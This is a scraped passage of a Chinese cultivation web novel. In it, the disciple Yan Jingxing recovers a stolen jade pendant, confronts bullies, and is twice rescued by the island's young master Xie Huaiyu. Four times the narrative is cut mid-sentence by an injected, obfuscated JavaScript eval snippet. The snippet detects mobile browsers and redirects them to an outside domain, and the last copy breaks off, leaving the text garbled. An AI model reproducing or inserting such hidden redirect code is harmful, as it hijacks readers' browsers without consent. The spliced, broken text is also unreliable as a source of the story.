他四下望去,孟郡良就在远处装模作样地练功,偷瞄被抓包也只是从鼻腔里喷出一声幸灾乐祸。 看来上次的处罚,不仅没让孟郡良悔改,反而记恨在心。 不过,他估量了一下他跟孟郡良的距离,不认为对方能隔这么远对自己下手。 那么肯定是有同伙了。 木含晚,还是云不还? 晏景行冷眼扫了一圈周围,没看见这两人的身影,反而注意到同屋的另外三人。 这三人在人群中很是显眼,倒不是外貌有多鹤立鸡群,而是因为他们是三胞胎。 三张长得几乎差不多的脸凑在一起,乍一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540496|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看多少有几分惊悚诡异。 晏景行对他们三人印象不错,大哥沉稳,二哥风趣,小弟内敛,跟他同一屋檐下,各不干扰。 名字也有意思,三兄弟分别叫明烁,明湛,明松。 晏景行不由打量了一番三人的神色,心里微沉。 明烁跟明湛神色如常,似乎并没注意到他的目光。反观明松,目光躲躲闪闪,明明没有看晏景行,却好似知道自己在被注视,练功的动作频频出错。 既然察觉,为何不敢看回来?除非心里有鬼。 “明松,专心点儿。” 晏景行刚抬脚准备走过去,明烁有些匆忙地回头抓住了明松的手:“沈师兄不是教了吗?手势应该先这样,再翻过来,对,现在好多了。” 欲盖弥彰的举动,坐实了晏景行的猜测。只是他想不通,自己又是哪里得罪了这三人。 “景行,快过来。”连长机在那边叫他,“还练不练了?” 晏景行临走前,视线一寸寸刮过三人的脸,似乎把三人的脸皮刮薄了,他们就不会做出厚颜无耻的事。 无端被针对,心里到底憋了一股郁闷,练功时也心不在焉。 连长机拍了他一掌,问道:“想什么呢?” 想什么?晏景行被这句话问得一时茫然。 晏西施总说晏景行心大得像十五的月亮,偏中间是个空的,什么事儿往里面一丢,就从洞里漏了,不记仇也不记疼,是个实打实的缺心眼儿。 但其实是有底的。 只是底很深,事情丢进去,乍一看是没了,往下探才会发现,芝麻谷子一样的陈年琐事,在底下堆积如山。 无边的黑暗里,只能闻见一点儿咸苦的眼泪味儿。 晏景行没说话,沉默地运灵,催动地面的泥沙。 地面最上层的沙砾滚动,分散又聚集,渐渐形成一个小漩涡。 他盯着漩涡中心,时间久了,眼里便只有漩涡。仿佛他正站在涡眼,随波逐流,被推起,或被淹没。 “景行兄,没事吧?”陆思涯注意到他不对劲,停下动作,走过来问道。 连长机也看过来:“是啊,你从刚才就一直走神。要是真遇到什么事了,一定记得告诉我们。” 晏景行看了看两人担忧的神情,缓缓露出一个熟悉的笑容:“你们真想知道?” 连长机迟疑了一秒:“要是又跟仙子有关,我跟思涯不会放过你。” 陆思涯举起双手:“虽然我跟连兄你看法相同,但君子动口不动手,打架的话,我就不掺和了。” 晏景行撇撇嘴角,语气如常:“好了好了,我只是有些累罢了。你们先练,我去休息一会儿。” 连长机跟陆思涯见他的确一副没事人的模样,才放下心继续练功。 熟悉的鸟鸣响彻云霄,这一叫催得太阳西沉,天色苍茫,紧跟着暗下去。 晏景行三人踏着昏光归室,在门口分别。 紫竹林已经变成了包围青客居的阵形,一进去光线瞬间隔绝。阴暗的屋内,空无一人。 晏景行走到床边,把木剑往床头靠墙的兰锜上一放,累躺在床上。 他习惯性把手伸到枕头下,从枕套缝里钻进去,想摸一圈玉佩,摸来摸去也没碰到。 晏景行心里猛地有种预感,翻身拿过枕头寻找,不放过任何一个角落。 没有。玉佩不在里面。 好容易压下去的郁闷与怒火,此刻如火烧云,烧得他两眼通红,理智全无。 门口隐约有谈话声,明家三兄弟和和气气地回来了。 门开的一瞬间,晏景行野狼一样跃起身子,动作矫健地冲过去,拎起明松的衣襟,把人用力摔在墙上,死死压制,低吼道:“把玉佩还给我!” 8. 微茫5 后进来的明湛额头一跳,喝道:“晏景行,你发什么疯!” “你干什么,快放开我弟弟!” 明松吓得面无人色,浑身僵直,像被人掐住脖子的青蛙,眼珠子几乎要突出来,任凭晏景行摔打掐拎,一动不动。 两个护弟心切的哥哥围上来,一左一右拉扯晏景行的胳膊。无奈他一身蛮力,两人也挪动不了他半分。 明烁心一狠,举起木剑刺向晏景行的手腕。 大抵是因为心虚,他没用全力,且木头做的剑不如开了刃的冷器锋利,剑尖扎进晏景行肉里,过了几秒,才缓缓渗出血丝。 明烁心头一跳,意识到自己做了什么,拿剑的力气瞬间没了。他手一松,木剑在晏景行肉里立不住,哐当掉在地上。 明湛眼睁睁看着明烁刺中晏景行,神情慌乱了几秒,趁人吃痛,一把抢过明松,护到了身后。 “是、是你先不分青红皂白就、就对明松动手的!”明湛声音发抖,强行让自己镇定,“我兄长也是为了,为了救人,说到底,是你自作自受!” 木剑刺在左腕,晏景行虚掩住一碰就痛的小坑,血丝慢慢滑下来,宛如血红的手链。 他红着眼瞪明湛:“我自作自受?分明你们先偷了我的玉佩?快还给我!” “什么玉佩?”明湛一头雾水,“我们没拿你的东西,我也根本没见过什么玉佩!” 手腕上的血还在流,不过并不多。晏景行没管这点伤,也没心情管,适当的痛觉反而让他冷静不少。 晏景行转头问明烁:“你也没见过?” 又问惊魂未定的明松:“你呢?你也没见过?” 明烁不知为何脸色有些难看,他抿了抿唇,摇头否认。 明松也摇头:“我,我不知道。” 晏景行见他开口,追问道:“练功时为什么偷偷给我使绊子?几岁了,还搞这些不入流的手段?” 明松脸一时白一时红,低头鹌鹑一样缩在明湛背后。 没等明烁给他使眼色,明松已经坚持不下去,小声吐露道:“是,是孟郡良要挟我这么做的……” “明松!”明烁一急赶紧出口打断。 明湛捉摸出不对劲,他把明松拉到身前:“明松,你那句话是什么意思?孟郡良为什么会要挟你?” 明松望着明烁,像是在征求他的同意。 晏景行看明湛神情疑惑不似作伪,想来他的确不知情。再想到明松口中所说的“要挟”,心里冒出一个猜测。 “玉佩是明烁偷的。”他语气冷静,隐约透露一股风雨欲来的压迫,“孟郡良拿这件事要挟你,若敢不从,他便会将明烁偷玉佩一事说出去,是吗?” “你、你们!”明湛胸口堵着一口气,不上不下。他怎么也没想到,大哥跟小弟居然做出这些事。 “这只是你一面之词。”明烁稳住神态,袖中手指捏得发白,“明松被孟郡良要挟,具体因为什么他还没有说呢。” “对。”明湛望向明松,迫不及待想从他嘴里听到另一个答案,“孟郡良为何要挟你,明松,你如实回答!” 明松在三人注视下抬不起头,但他能感受到,目光最压迫、最可怕的来自晏景行。 “就是那样……”他喃喃回答,“就是,他说的那样……” 晏景行冷漠一笑,夹杂着自嘲。 胆子这么小,却还是甘愿帮孟郡良,自己真的这么惹人厌? 他冷声道:“把玉佩还我,这件事,我可以当做没发生过。” 明松跟明湛猛地抬起头,神情错愕。 “真、真的吗?”明松说着,又有些怀疑,“可是,我还用法术作弄你了。” 晏景行不愿多费口舌,只道:“玉佩。” 其余两人看向明烁。 “大哥,”明湛见他无所动作,急了,“还给他啊!” 明松劝道:“大哥,你要是喜欢玉佩,我的那个给你吧,你把拿人家的还回去。” 明烁脸黑如煤,两个弟弟的话如同巴掌扇在他脸上。 “没在我这里。”好半晌,他才挤出一句话,“孟郡良拿走了。” 明湛有些懵:“所以,是孟郡良让你去偷玉佩的,他还反过来要挟明松?” 明松没想到孟郡良会这么做,只能无奈吃下这个教训。 “这孟郡良不是个好东西!”明湛狠狠道,“还有你们两个,有事都瞒着我!你为什么要听孟郡良的话,偷晏景行的玉佩?你又为什么发现了,不告诉我?” 明烁跟明松哑口无言。 晏景行懒得听他们三兄弟在这里打太极,转身去找孟郡良。 “大哥,现在怎么办?”明松见晏景行走远,心里六神无主,“晏景行肯定会去告发我们的。” 当初孟郡良三人被罚,他们是知道这件事的。 “现在知道怕了?”明湛又生气又无奈,“大哥,孟郡良给了你什么好处,竟然能让你做出这种事?” 等了许久,就在明湛以为明烁不会回答时,他开口,声音低得几乎听不清:“不是孟郡良,是另外一个人。他说,事成后,作为回报,能给我一件好东西。” 晏景行头脑一热冲出门,回过神已站在孟郡良门口。 他低头思考,门开后是左拳打过去还是右拳,结果一眼看见腰封里塞着的玉佩。 等等,玉佩怎么在这儿? 明烁明明承认了偷玉佩的事,玉佩现在不应该在孟郡良身上吗? “啊!是谁?!” 孟郡良一开门,眼前猛地站了个人,心脏瞬间高高悬起,看清是谁后,又重重落下。 孟郡良没给他好脸色:“你怎么在我们门口?装神弄鬼的。” 晏景行掏出玉佩,举在他面前:“这是什么?” 孟郡良看了眼,嘴角向下撇了撇:“不就一块破玉佩吗,还特意拿来炫耀,没见过什么好东西吧?” 话虽如此,眼前的玉佩晶莹无暇,他不禁多看了两眼。 晏景行道:“你没见过这块玉佩?” 孟郡良狐疑地看了晏景行一眼,摸不透他到底打的什么主意,谨慎道:“我怎么会见过你的东西?” 晏景行直言道:“你要挟明松,不就是因为它吗?” 孟郡良双目瞪大,猛然想了起来。 今日清晨,他路过晏景行他们屋前,看见明松鬼鬼祟祟地在窗户那里探望。 作弄心起,他走过去把人吓了一跳。 谁知明松拉着他转身就跑,生怕被屋里的人发现。 孟郡良眼珠一转,套出屋里的人是明烁。虽然不知道明烁在做什么,但从明松的反应看,应当是些见不得人的事。 于是孟郡良故意恐吓他,说自己已经看见了,如果明松不帮他办一件事,他可能会“不小心”把此事说漏出去。 原来明烁当时是在偷晏景行的玉佩,不过从目前的情况来看,这小子已经暴露了,实在可惜。 “跟我有什么关系?”弄清楚发生了什么,孟郡良也不怕扯上自己,反正他什么都没做。 “跟你没关系?”晏景行收了玉佩,冷声质问,“跟你没关系,你还要拿它威胁明松作弄我?孟郡良,你这么费尽心思讨好木含晚,不觉得自己像条狗吗?” 孟郡良脸色瞬间难看:“你骂谁呢!” “靠排挤我维持跟木含晚他们的关系,跟别人一指就冲出去咬人的疯狗有什么区别?”晏景行脸上带了几分真挚的疑惑,“真不明白,我是跟你有杀父之仇,还是夺妻之恨,你怎么就盯上我了?还是说,你对我有意思?” 孟郡良憋红了脸,被晏景行一句揣测恶心得差点反胃。 “呸!放你娘的屁!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540497|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏景行脸色一变,想也没想,直接挥拳过去,不料半道上被一人截住。 云不还独特的嗓音从木含晚身后传来:“哟哟,打人了。” 木含晚松开他的手腕,搓去手指沾到的丝丝血迹:“仙训规定,不能袖手旁观。” 孟郡良感激地望过去,得到木含晚一个冷淡的眼神。 晏景行胸膛起伏,唇角勾起一抹讽刺的轻笑:“仙训规定不可凌弱,不可偷窃,有些人不还是做了?” 木含晚施舍般看他一眼:“原来你知道自己弱。那有什么办法呢?人从来都是习惯仰望强者,你会在意地上爬过的一只蚂蚁吗?” 晏景行不自觉咬紧牙根,两片唇紧紧相抿,转身走了。 孟郡良松了口气:“木兄,云兄,多谢你们了。” 木含晚道:“不客气,你先进去吧。” 等孟郡良进屋,木含晚神情一下变得阴沉。 “谁让你自作主张的?” 云不还解释:“我让明烁把玉佩偷出来,也是为了魔尊交代的任务。” “我说了不要打草惊蛇!”木含晚压低声音,“万一被察觉,你跟我都承担不起!” “谁会发现?”被木含晚训了几句,云不还有些恼火,“我说了我不会让别人知道。你也看见玉佩了,就是魔尊说的那块。不仅如此,它竟然还自己回到了晏景行身上,这不更证明我们猜的没错,晏景行他确实是战神之子吗?” 木含晚道:“晏景行没看上去那么没脑子,他知道玉佩被拿走过,现在又莫名出现在身上,说不定会猜出什么。” 云不还见他语气缓和,也冷静下来:“怕什么,只要我们抢在他察觉前,把他……不就行了?” 木含晚道:“这种下下策,不到万不得已,最好别用。” 云不还嗯了一声,听不出喜怒。 晏景行回到屋里,明家三兄弟神情各异,时不时用眼神商讨。 最后还是明湛主动开口:“晏景行,这件事我替我大哥还有小弟向你道歉。那个,你之前说的,玉佩给你,你就能当做没发生过还算数吗?你的玉佩拿回来没有?没有的话,我们这里有一块玉佩,赔给你行不行?” 这是晏景行在这间屋子里住了这么久以来,第一次有人愿意跟他搭话,可惜时机不对,他现在没有回话的心情。 “不用。”他脱了鞋坐在床上,言辞隐约含着警告道,“若有下次,我绝不会善罢甘休。” 明湛脸上一喜,没想到晏景行这么好说话,连忙道:“是是是,我们再不动这些歪心思了。我大哥他也是一时糊涂,你不计较就好。” 屋里归于寂静,那三人倒是睡得安心,独留晏景行辗转反侧。 他心里燃着不熄火,火舌寸寸蔓延四肢百骸。五脏六腑的血都快被烧干了,眼眶却沁出一点湿润。 晏景行蒙头蜷缩在被窝里,脑海中一幕幕回想来到蓬莱后发生的一切。 从一开始沈端宁的躲避,到木含晚的漠视,孟郡良半夜泼他冷水,再到明烁偷走他的玉佩,明松的暗中作弄。 郁闷,生气,不解,还有些难以言说的委屈,扯着掌控他喜怒哀乐的那根心弦,叫嚣嘲笑。 他不知道问谁,只能在心里不断反问自己:为什么?为什么?究竟是因为什么? 是因为他出身普通,又是五灵根,所以可以随意欺负? 还是他行为冒失,不慎触了对方的逆鳞? 又或者是他性格不讨喜? 否则怎么会相安无事度过了一个多月,仅一夜之间判若鸿沟? 思来想去,也没得出个结论。心口的火渐渐冷下来,连同身躯一并冻在床上。 他咽下这沉甸甸如秤砣重的情绪,坠得胃部隐隐作痛。 此路多岐,此心微茫。 离开柳州城这么久,晏景行第一次想家了。 9. 山雪 紫竹林阵法变动,屋里一瞬间透亮明朗。晏景行睁眼第一件事,便是把玉佩塞进衣襟,里面还常放着一串小巧的金铃。 看见这串金铃,晏景行不由想到初见仙子那天。他算了算日子,今天是四月十三,他满十七岁的生辰。 每年这时候,晏西施都会早早起来,给他煮一碗长寿面。现在人在异乡,晏景行干脆把这天当寻常日子过。 今日,沈端宁会在隐云殿,验收他们近日的练习成果。晏景行不敢耽搁,快速收拾完毕,出门跟连长机、陆思涯一道前去。 隐云殿除了几位常见的师兄,只有新弟子在场,往年的弟子都去了另一座殿堂训练。 祝风歌仍旧是那副温温和和的神态,揣着手等人到齐。 沈端宁坐在一张红木桌前,旁边还有一位师兄负责记录。 祝风歌看了一眼玉阶前的盘龙石柱,上面的珠子发出青色的柔光,知道人到齐了,开口道:“大家应该都看见了,现在场地上有六位师兄。所有人,三人一组,在六位师兄里自行选择。” 晏景行跟连长机、陆思涯围在一起,选择了祝风歌。 沈端宁作为考察,不计入在内。 另外五名师兄周围,很快围满了人。隐云殿面积辽阔,分出六块空地绰绰有余。 祝风歌带着他们往花园那边挪了些地方:“好了,考核要求五行简术全部展示。四周花草树木,泥土水流,以及烛火金瓦都可以使用。” 晏景行往前看了看,一架形状似枯树的烛台摆在地面,中间较粗的是树干,延伸的树枝上,分布不均地亮着三四盏烛火,如同火树盛开。 第一组是孟郡良、木含晚、云不还三人,他们顺利通过了考核。 祝风歌往书桌那边丢去一个灵球,那位师兄接住灵球,打开一看,把三人的名字记下。 他所写的纸不是普通的纸,记录的文字最终会以灵力的方式保存下来,收入仙门的千星阙保管。 轮到晏景行他们,祝风歌往后退了一步,做了个开始的手势。 连长机跟陆思涯先后过了考核,晏景行在最末。原本一切都进行得很顺利,就在他借花园河流展示完避水,准备从桥上,几步跳跃回玉石路时,一根藤蔓从花丛里神不知鬼不觉地缠上他的脚踝。 晏景行没发觉这根藤蔓,起跳时牵一发而动全身,力量被牵扯,重心如搅碎的鸡蛋,散作一团。 等他反应过来,人已经头重脚轻地往下栽,即将以头抢地之际,地面无中生有卷起一阵风。 这股风不似骤风强烈,也不似朔风劲冷,反而有种云雾一样的触感,托着晏景行的腹部,隔绝了坚硬的玉石路。 风停,一个人凌空踏步出现。 他周身雪白,仿佛用云作衣,取雪作肤,衣边泛着霞光,肌肤透着冷寒,腰系一块血红腰牌。 束冠的灰发柔顺,一条雪绸穿过精致的银冠,与上面那颗滴血的红宝石相衬。绸带无风自动,好似两缕轻白软烟。 五官颜色淡似水墨描绘,尤其是那双灰色的眼眸,如同覆着一层朦胧雾。然而瞳孔又极清明,是个心里自有主见的人物。 羽睫根根分明,纤长透着光,偏生唇红如含梅,在齿间绽开。莫说天人之资,便是天人也逊色两分。 晏景行一颗心提到嗓子眼,紧闭双眼等疼痛袭来,却许久没等到。 他茫然睁眼,腹部那团东西消失,他稳稳落到了地上。 偏头看去,一人背光站在不远处。 被光照亮的半边脸微微透明,宛如神仙。另外半边脸则在阴影的衬托下,显得有实感许多,神情似覆了一层薄雪,冷色下不辨喜怒。 晏景行胸无点墨,脑子里却浮现一句:有匪君子,绝世独立。 不止晏景行,身后其余人纷纷大气不敢出,唯恐亵渎这比画还不真实的场景。 祝风歌在蓬莱待了这么些年,虽然次数不多,但好歹见过眼前的人,忙上前几步,行礼道:“见过少岛主。” 晏景行眨了眨泛酸的眼睛,心里惊讶又恍然。 原来这人是蓬莱仙岛的少岛主。 谢怀玉略微颔首,指尖灵气一闪,直冲人群。 孟郡良猝不及防被一股灵力举到空中,四肢乱舞,没忍住大叫了几声,又被摔进了一旁的花园,在地上咕噜滚了两圈。 木含晚跟云不还见状,默默往后退,尽量藏在其他人身后,收敛了所有气息。 不等祝风歌开口询问,少年雪一般清冷的音色响起,透着浑厚的灵力:“小人之行,宛如薄冰,见光则亡。” 大多弟子没听明白这话,晏景行却懂了。 刚才的藤蔓,是孟郡良通木教唆的。 祝风歌明白过来,恭敬道:“任凭少岛主发落。” 孟郡良在另一边听见,不顾形象地爬过来,还没求饶,嘴唇便被封住,一个字也说不出。 “小不惩则积大祸。”谢怀玉睫毛轻扇了一下,做了决定,“此人虽然过了考核,能力无差错,但心中藏污纳垢,品性有待琢磨。罚去洗髓池,洗去污秽。” 祝风歌正要再度行礼,少年身形一闪,仔细看,已在远处。再想看,已消失在众人眼中。 随着他消失,孟郡良嘴上的法术也解开了。 沈端宁不知道什么时候出现在这里,问道:“刚才少岛主来过了?” 祝风歌点头,对一人道:“蓝涧,把他带去洗髓池。” 孟郡良吓得软瘫在地,以为洗髓池是什么剥皮拆骨的炼狱,眼泪鼻涕齐下,这下是真的害怕得连话都说不出来了。 他性子恶劣惯了,在这种场合也敢做动作,殊不知在灵力稍高的人面前,他所作所为跟衣不蔽体毫无区别,那些不入流的心思都被人探知得一清二楚。 比如察觉到不对劲,还没来得及排查的祝风歌。 再比如明明感知到,本打算坐视不管的沈端宁。 晏景行没受伤,祝风歌便让他重做了一遍。 回到队伍,连长机跟陆思涯赶紧上前。 “没事吧?”连长机问。 晏景行摇了摇头,脑中想着那位少岛主,觉得有些眼熟。 连长机放了心,感叹道:“孟郡良这次受到了重罚,大概长记性了。” 晏景行不在意孟郡良长不长记性,他费劲搜刮少岛主带给他的熟悉感从何而来。 “大概是跟仙子有些相似吧。”陆思涯一句话,晏景行才发现,自己竟不知不觉把心中疑惑说出了口。 这正好提醒了他,少岛主跟仙子之间有血缘关系。 晏景行道:“多谢陆兄。” 陆思涯笑了笑,很是慷慨地继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540498|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“岛主膝下两儿一女,大儿子名谢狂疏,因不爱露面,从不出现。小儿子名谢怀玉,是公认的少岛主,跟宝君仙子是一母同胞的姐弟。” 晏景行点点头,道:“原来是双生子,难怪他生得……” 话到嘴边,却因读书少,想不出贴切的形容卡住了。 连长机善解人意道:“别为难自己了,既然通过了考核,我们就先走吧。” 三人跟祝风歌打了个招呼,因为今日考核人数众多,祝风歌便嘱咐其余通过了的弟子可以先回去,明日再到隐云殿会合。 走到半路,晏景行脑中一闪,总算知道自己忽略了什么。 他猛回头,对身后二人道:“我想起来了!少岛主是宝君仙子的弟弟,我可以从他那里入手去见仙子啊!” 他越说越觉得此计可行,仿佛已经见到了梦中仙子:“刚才他救了我,说明是个热心肠,而且我都没来得及跟他道谢,正好有理由。” 陆思涯觉得此事有风险,摇了摇头:“你也看见了,少岛主来去无踪,见他一面谈何容易。何况他看上去性格不太近人,恐怕很难说话。” 晏景行拍拍胸脯:“没什么人是我搞不定的。” 无奈归无奈,连长机还是道:“祝你心想事成。” 可惜晏景行到蓬莱后,仿佛陷入了背运的漩涡,那位少岛主他再也没机会见到。 连长机与陆思涯进步飞速。前者已经到了金丹期,目前处于结丹的关键,后者也顺利突破了筑基期。 筑基期可进入器修,因此两人都有了独属于自己的法器。 连长机甚至跟着祝风歌几番出仙门,猎获了几只小妖。 三人里,唯独晏景行一人卡在筑基期边缘,停滞不前。 沈端宁的原话是:你天生废根,只能另寻他方。 于是晏景行便被安排去了蓬莱仙岛的安陋居,每日跟一老伯挑水劈柴。 安陋居名副其实,安静简陋,是一间盖了两层的山中竹屋。竹屋跟蓬莱仙门其他宫殿有着天渊之别,没法比较,好在晏景行并不在意居住环境如何。 老伯姓林,生来便是弱胎,二十岁拜入蓬莱仙门,测出废灵根也不肯放弃,至今已苦修了蓬莱仙术三十年。 晏景行听完,坐在石头上久久没动弹。 林伯见他沉默寡言,似被打击,叹了口气,起身去挑柴。 晏景行抬头望着碧天银云,心里想的却是:如果真要修三十年,不如把晏西施也接到这儿来吧?到时候让她在蓬莱开个客栈,那些百姓肯定会喜欢柳州风味的饭菜。 想到饭菜,他感到些许饿意。 晏景行摸摸腹部,他没到筑基期,辟谷有些困难。 他尝试过强行辟谷,对林伯说要绝食明志,一连饿了三天。 后来不知什么时候晕在床上,半夜又生生饿醒,两眼发昏,全身使不上力气,只能爬出门找吃的。 听见动静的林伯出来一看,误以为他中邪,几道灵符把他钉在了走廊柱子上。 晏景行把那夜命名为耻辱之夜,那根柱子也命名为耻辱之柱,随后每顿饭都狠狠吃上两大瓷碗。 直到有天林伯看了他好几回,像是在酝酿语气:“你来这儿半个多月,把我半年的米都吃空了,正好我最近要出去一趟,这几天你就是去仙门那里吃吧。” 10. 山雪2 晏景行答应下来,吃完饭,自己洗了碗,把扁担往肩上一放,朝山中溪流走去:“林伯,我挑水去了。” 林伯应了一声,到屋里收拾了包袱,出了安陋居。 晏景行把院子里几个水缸装满时,太阳正落。他挑了一段时间水,肩膀破皮又结痂,再破再结痂,已经形成了茧。 茧子不厚,看不太出来,但能摸到。 他虽不是什么娇生惯养的少爷,但挑水劈柴之类的重活,晏西施从不让他做。 也幸好他不是娇生惯养的性格,做这些事并不觉得低人一等。 晏景行放下扁担,踏着余晖去仙门吃饭,路上遇到了孟郡良。 自从上次孟郡良被带去洗髓池受罚,回来后彻底洗心革面,仿佛换了一个人。 脸上贼眉鼠眼之态全没了,周身猥琐的气质也几乎看不见,反而沉默缄言,行事前也总会考虑再三。 并且他不再执着于迎合木含晚,变得独来独往,连长机都说他看上去顺眼了许多。 这次遇见,晏景行暗暗感慨果然如连长机所说。孟郡良看见他,以往鄙夷轻视的嘴脸通通消失不见,反倒有些羞愧,低着头匆匆离开了他的视线。 “真是神奇。”晏景行盯着人走远,感叹了一句。 他把目光从孟郡良身上收回来,抬脚正要离开,两名弟子拦住了他的去路。 一人问:“你就是晏景行?” 晏景行心头一跳,这是没了“孟郡良”,又来了“李郡良”“王郡良”? 不知对方找自己有何目的,他故作冷漠地点了点头,看着面生的两人,问道:“什么事?” 另一人道:“我们有件事想告诉你,这里不方便说,能不能换个地方?” 晏景行皱眉打量了两人一眼,想看看他们到底有何目的,点头同意。 如同冰窟的禁室,地面、四壁结满了霜花。墙角,冰链延伸自一人四肢。 谢怀玉盘坐在地,呼吸渐渐恢复,等体内疼痛消散,灰眸缓缓张开。 睫毛根还有些残雪,他用灵力化去,听见外面传来几道轻重缓慢的脚步声。 两人带着晏景行在仙门四处转悠,最后拐到一处静谧空地。 空地后面,有一道像是仓库大门的白色屏障,让人不禁好奇里面放着何种宝物。 晏景行见他们停下,主动道:“你们有什么事想跟我说?” 那两人互相看了看,神态瞬间从彬彬有礼转换为嘲笑:“我们就想跟你比试比试,看看你到底是不是废灵根。” 晏景行浑身都冷了下来,乌黑的眼眸静静地望着两人,带着淡淡的戾气:“我跟你们有仇?” “没有啊。”一人摇头,语气无所谓,“我们听说仙门里有个弟子连筑基都达不到,好奇死了。” “就是就是,本来早就想见识的,没想到你居然被安排去打杂了,哈哈哈哈哈真是笑死人了,谁修仙是靠劈柴挑水练出来的啊!” 不远处,沈端宁恰巧路过,听见人声。 “来吧,晏景行,跟我们比试一番,一对一,公平吧?” 晏景行从齿间吐出一句:“无聊。” “哪里无聊了,多有意思啊!”另一个人迫不及待地搓搓手,把佩剑取下放在地上,“忘了你没有佩剑,那我也不拿剑好了。” 沈端宁对两名弟子藐视仙规的行为心生不悦,对他而言,解决这件事,不过动动指头的功夫。 灵力聚在指尖,他正要阻止,却又生出另一个想法——让晏景行吃点儿苦头也罢。 修仙本就择优去劣,既然明知自己是五灵根,何不放弃离开?他不肯顺因,注定要吃下这枚苦果。 晏景行正跟两人僵持,一道光芒从他身后照在身前两人面上,刺得他们双眼又涩又痛。 待那阵光芒不见,一股冷气飘到晏景行背后,柔若无骨地附在他衣服上。 他打了个哆嗦,疑惑回头,谢怀玉那张精雕玉琢的脸,就这么猝不及防出现在他面前。 这一次他们的距离更近,近到他闻见了谢怀玉身上的气味。 鼻腔里停留了有些熟悉的冷香,他眨了眨眼,眼眸那股浅淡的戾气就这么眨没了,变得清澈无辜。 那两名莫名其妙冒出来,又莫名其妙要跟晏景行比试的人内心大喊倒霉,双腿一软跪在地上,哪里还有先前的半点威风。 他们第一次看见谢怀玉,就是孟郡良那次,自然也知道谢怀玉的手段。 本以为拿钱办事,办完就离开,谁知竟这般背运,偏生碰上了谢怀玉。 “少岛主……”晏景行回过神,轻声道。 谢怀玉眉色极浅,微微一拧,宛如镜面湖水泛起一圈涟漪。那丝不悦从涟漪扩散,宛如鬼头刀悬在两人头顶,使得二人内心恐惧殊甚。 不知为何,晏景行竟无师自通地读懂了他皱眉背后的深意。 一是这两人胆大包天违背仙训。 二则是询问——怎么又是你? 晏景行无奈,他也不想是自己啊。 话说这少岛主是冰做的吗?怎么挨着还有股冷气? 他不禁抖了一下,余光里,谢怀玉往旁边挪了一步。 一束灵光闪过,沈端宁被带到他们面前。 沈端宁早知自己暴露了行踪,稳住神情道:“见过少岛主。” 谢怀玉没看他,字句像刺人的碎冰:“看来我上次的宽容没让你反省,反而助长了你玩忽职守的做派。” 沈端宁浑身绷成了一张拉满的弓,俯首不敢回话。不一会儿,地面便积了一滩冷汗积聚的水渍。 这位少岛主,天生奇骨,一出生便是天灵根,年仅十六已到洞虚,作风低调,为人处世严苛,眼里容不得一点沙子。 今日之事,沈端宁甚至宁愿是被岛主撞见,也不愿是他。 “这两人也不必带去洗髓池了,直接逐出仙门吧。至于你,”谢怀玉沉眸,终于看了一直低头的沈端宁一眼,“你身为蓬莱管事,却屡次失职,即日撤去你管事身份,自行去六戒堂领罚。” 沈端宁缓缓吐出一口气,语气听不出丝毫怨言:“多谢少岛主留情。” 说罢,他手一挥,提着跪在地上的两人,很快消失在道路尽头。 晏景行咽了咽口水,小心翼翼瞥了谢怀玉一眼。 谢怀玉把他的动作看得一清二楚,直截了当问:“你还不走,有事?” 晏景行一个激灵:“没,我没事。” 谢怀玉看他的目光带了几分打量,眉心轻拧道:“含胸驼背,没人教你站姿?仙门弟子不应有畏缩之态,身体站直,平视我。” 晏景行心里直呼冤枉,少岛主气场强大,逼得他不得不低头也是他的问题? 内心腹诽,表面却万不能表现出一丝一毫。 他当即挺直脊背,半晌,面露为难:“你比我矮,我没办法平视你。” 谢怀玉饱满的唇肉顿时抿在了一起,他抬头看了看,往后退了一步。 距离拉开,晏景行黑色的腰牌映入眼帘,他嘴唇微张,心里讶异。 晏景行注意到他的视线,心里没来由地发虚捂住了腰牌。 这人……怎么会是五灵根? 天穿节那日,他跃下楼阁接住自己,虽然看上去傻愣愣像个木头,但从他的身手体质判断,绝不应局限于五灵根。 难道,他只是表面健硕,实则骨子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“谢琢,你今天有没有时间去我那儿玩?”晏景行从怀里摸出一把剥好的松子递给他,“给,我特意捡了一篓松子回来,林伯炒得可香了。” 蓬莱仙门隐在群山奇峰之中,松果是最常见的一类东西。谢怀玉摇头婉拒,他从没吃过这些。 